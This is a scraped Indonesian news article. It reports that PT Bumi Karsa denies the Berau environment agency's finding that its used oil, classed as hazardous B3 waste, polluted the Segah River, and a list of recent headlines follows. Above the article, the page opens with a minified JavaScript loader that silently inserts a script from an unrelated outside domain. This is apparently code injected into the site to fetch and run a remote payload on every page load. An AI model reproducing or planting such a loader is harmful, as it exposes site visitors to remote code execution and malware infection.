(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Berau

PT BK Bantah Cemari Sungai, DLHK Berau: Oli Bekas Itu Kategori Limbah B3


KANALKALIMANTAN.COM, TANJUNG REDEB – Disebut mencemari lingkungan dengan buangan limbah berbahaya, PT Bumi Karsa (PT BK) perusahaan pengolah aspal membantah temuan hasil cek lapangan Dinas Lingkungan Hidup Kebersihan (DLHK) Kabupaten Berau.

Pihak PT Bumi Karsa melalui Pimpinan Proyek Asrul membantah terkait adanya temuan DLHK Berauyaitu limbah bahan berbahaya dan beracun (B3) yang dibuang ke dalam parit dan mengalir langsung ke alira Sungai Segah, saat melakukan Sidak pada Senin (29/5/2023) lalu.

“Secara tegas, kami membantah dugaan dari teman-teman media dan Dinas Lingkungan Hidup Kebersihan Berau, bahwa sebenarnya itu bukan limbah melainkan hanya kotoran biasa saja,” tegas Asrul.

Wakil PT BK itu menjelaskan, sisa oli bekas yang merembes masuk ke parit tersebut bukan salah satu pencemaran limbah, dan pihaknya menyebut hanyalah kotoran biasa.

Baca juga: Sidang Korupsi Mantan Bupati HST: Beli 3 Mobil Mewah, 2 Lexus Pakai Nama Orang Lain

“Itu hanya kotoran biasa, dan bukan limbah berbahaya,” ucapnya.

Seperti diketahui, saat DLHK Berau dipimpin Kepala Bidang P2KLH (Pengendalian Pencemaran Kerusakan Lingkungan Hidup) Masmansur yang melakukan sidak ke lokasi kerja PT Bumi Karsa menyebut oli bekas cemari sungai.

DLHK Berau menemukan adanya cairan oli yang termasuk golongan limbah bahan berbahaya dan beracun (B3). Larangan membuang oli bekas telah diatur oleh pemerintah dengan aturan nomor 101 tahun 2014 tentang pengolahan limbah bahan berbahaya dan beracun.

“Sebab oli bekas adalah limbah yang dapat merusak lingkungan, oleh karena itu, pembuangan oli bekas tidak boleh dibuang sembarangan, baik di tanah dan juga di sungai karena masuk dalam kategori limbah B3,” tegasnya.

Terkait masalah perizinan, Masmansur menjelaskan bahwa PT BK tidak memiliki izin tempat pengolahan sementara (TPS) Limbah B3, melainkan hanya memiliki rincian teknis (Rintek) penyimpanan limbah B3 saja.

Baca juga: Kumpul Para Habaib dan Alim Ulama di Kampung Keramat Martapura

“Bukan izin, namun hanya memiliki Rintek yang dilaporkan pada tanggal 2 Juni 2022 tahun lalu,” tegas Kabid P2KLH DLHK Berau.

Soal batas waktu 3 hari yang diberikan kepada PT BK, Masmansur secara tegas menjawab tetap sesuai dengan waktu yang diberikan yaitu dalam waktu 3 hari menyelesaikan permasalahan pengolahan limbah berbahaya tersebut.

“Maka dari itu kami minta PT Bumi Karsa dapat memperhatikan limbah oil, membuat penampungan agar tak berserakan ke parit lagi, sehingga dampak lingkungannya tidak ada, dan dalam waktu 3 hari sudah selesai dibersihkan,” pungkasnya. (Kanalkalimantan.com/ads)

Reporter : ads
Editor : kk


Risa

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

6 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

6 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

6 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

10 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

13 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

13 jam ago

This website uses cookies.